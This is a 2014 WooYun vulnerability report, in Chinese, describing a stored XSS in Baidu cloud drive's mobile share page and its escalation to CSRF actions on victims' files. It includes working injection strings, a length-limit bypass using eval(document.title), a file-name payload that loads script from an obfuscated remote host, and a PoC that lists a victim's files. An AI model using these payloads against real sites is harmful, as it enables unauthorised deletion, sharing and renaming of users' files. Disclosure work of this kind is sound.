当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077970

漏洞标题:百度云网盘存储型XSS(可CSRF改名/共享/删除文件)

相关厂商:百度

漏洞作者: 超威蓝猫

提交时间:2014-09-30 21:36

修复时间:2014-11-14 21:38

公开时间:2014-11-14 21:38

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-30: 细节已通知厂商并且等待厂商处理中
2014-10-01: 厂商已经确认,细节仅向厂商公开
2014-10-11: 细节向核心白帽子及相关领域专家公开
2014-10-21: 细节向普通白帽子公开
2014-10-31: 细节向实习白帽子公开
2014-11-14: 细节向公众公开

简要描述:

今天是你的生日

详细说明:

这个问题我早在 http://wooyun.org/bugs/wooyun-2014-072520 就已经报告过,PC版页面已经修复了漏洞,但当时只是简单提了一下的手机版页面,没有修复,是百度不够重视吗?好那下面就看我如何一步一步放大危害。
参考 http://wooyun.org/bugs/wooyun-2014-072520 ,将QQ昵称改为如下代码后,在百度网盘登录并分享文件,

";};alert(1)//

得到链接 http://pan.baidu.com/s/1kTqTrzL 。
将浏览器UA修改为手机后,访问该链接会返回手机版页面,同时触发我们注入的JS代码。

sshot-2014-09-30-[1].png


是否存在一打开就是WAP版的链接呢? 我们百度一下 pan,baidu.com wap 看看:

sshot-2014-09-30-[2].png


这条链接打开就是WAP版的下载页,看来有戏了:

sshot-2014-09-30-[3].png


把链接中的uk与shareid参数修改为 http://pan.baidu.com/s/1kTqTrzL 对应的值,这两个参数在页面源码中都可以找到

sshot-2014-09-30-[4].png


构造出链接: http://pan.baidu.com/wap/link?shareid=1180545652&uk=1549176177

sshot-2014-09-30-[5].png


至此,我们可以实现无需特定UA即可执行我们的JS代码。
但紧接着又是个难点: 这个页面没有jQuery,无法用$.getScript()来加载远程JS,有PDC._load_js()用来加载远程JS,但我们的输出点在这个函数的前面

sshot-2014-09-30-[6].png

而QQ昵称最长为36字符,这怎么构造都没法加载JS嘛

"}";setTimeout('PDC._load_js()',2000)//   光是这就有39字符了..


经过与@Mramydnei 神的一阵谈笑风生,我也是瞬间爆炸: 页面标题可控,那何不eval(document.title)呢?

QQ截图20140930195227.png


sshot-2014-09-30-[7].png


可是现实很残酷:

sshot-2014-09-30-[8].png


//不能用了,又甩不掉这个该死的尾巴,不会JS的下场就是只能无脑试:

sshot-2014-09-30-[9].png


正当我脚进脑子正要放弃时,宇宙第一真神@Mramydnei 神一语道破天机:

alert(1);var a='_免费高速下载|百度云 网盘-分享无限制
"}";eval(document.title+"\x27")//


当时我就卧槽了: http://pan.baidu.com/wap/link?shareid=3111719745&uk=1532394789

sshot-2014-09-30-[10].png


突破了36字符限制这道坎,加载JS还不简单?将文件名修改为

document.body.appendChild(document.createElement('script')).src=String.fromCharCode(47,47,32473,46,112,119,47,50);var a='


看看效果: http://pan.baidu.com/wap/link?shareid=2326509483&uk=1532394789

sshot-2014-09-30-[11].png


成功执行恶意JS。
或许你会说,"辣鸡,拿不到BDUSS有啥用?" 对对对,接下来我们看看有啥用:
先给出一段POC

//bdstoken = document.documentElement.innerHTML.split("bdstoken=\u0022")[1].split("\u0022;FileUtils.mobileModel")[0];
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
function StateChange(){
if (xmlHttp.readyState == 4) {
a=JSON.parse(xmlHttp.responseText)
//document.write('<h3>your bdstoken: ' + bdstoken + '</h3></br>')
for (var i=0;i<a.list.length;i++){document.write(a.list[i].path +" "+ a.list[i].fs_id + "<br>");}
}
}
xmlHttp.onreadystatechange = StateChange;
xmlHttp.open("GET", "http://pan.baidu.com/api/list?num=100&page=1&dir=%2F&order=time&desc=1", true);
xmlHttp.send(null);

sshot-2014-09-30-[14].png

(为了上图方便 我这里直接在控制台执行了)
这是重命名文件所发送的HTTP请求

sshot-2014-09-30-[12].png


这是共享文件的请求

sshot-2014-09-30-[13].png


这是删除文件的请求

sshot-2014-09-30-[15].png


所以,只需要从当前页面(http://pan.baidu.com/wap/link?shareid=3111719745&uk=1532394789)取出victim的 bdstoken,通过XmlHttp发起get请求,从 http://pan.baidu.com/api/list?num=100&page=1&dir=%2F&order=time&desc=1 获取 fs_id 和 path 这两个值,就可以通过XmlHttp发POST请求,对victim网盘里的文件进行删除/共享/重命名等操作。

漏洞证明:

如上。
alert() http://pan.baidu.com/wap/link?shareid=1180545652&uk=1549176177
eval(alert()) http://pan.baidu.com/wap/link?shareid=3111719745&uk=1532394789
eval(loadJS()) http://pan.baidu.com/wap/link?shareid=2326509483&uk=1532394789
另外,pan,baidu.com 等同于 yun.baidu.com ,可以用以上链接在yun.baidu.com域下伪造请求,更多危害不再赘述。

sshot-2014-09-30-[16].png

修复方案:

求礼物 :v

版权声明:转载请注明来源 超威蓝猫@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-10-01 04:00

厂商回复:

感谢提交,我们已经通知业务部门处理此问题。

最新状态:

暂无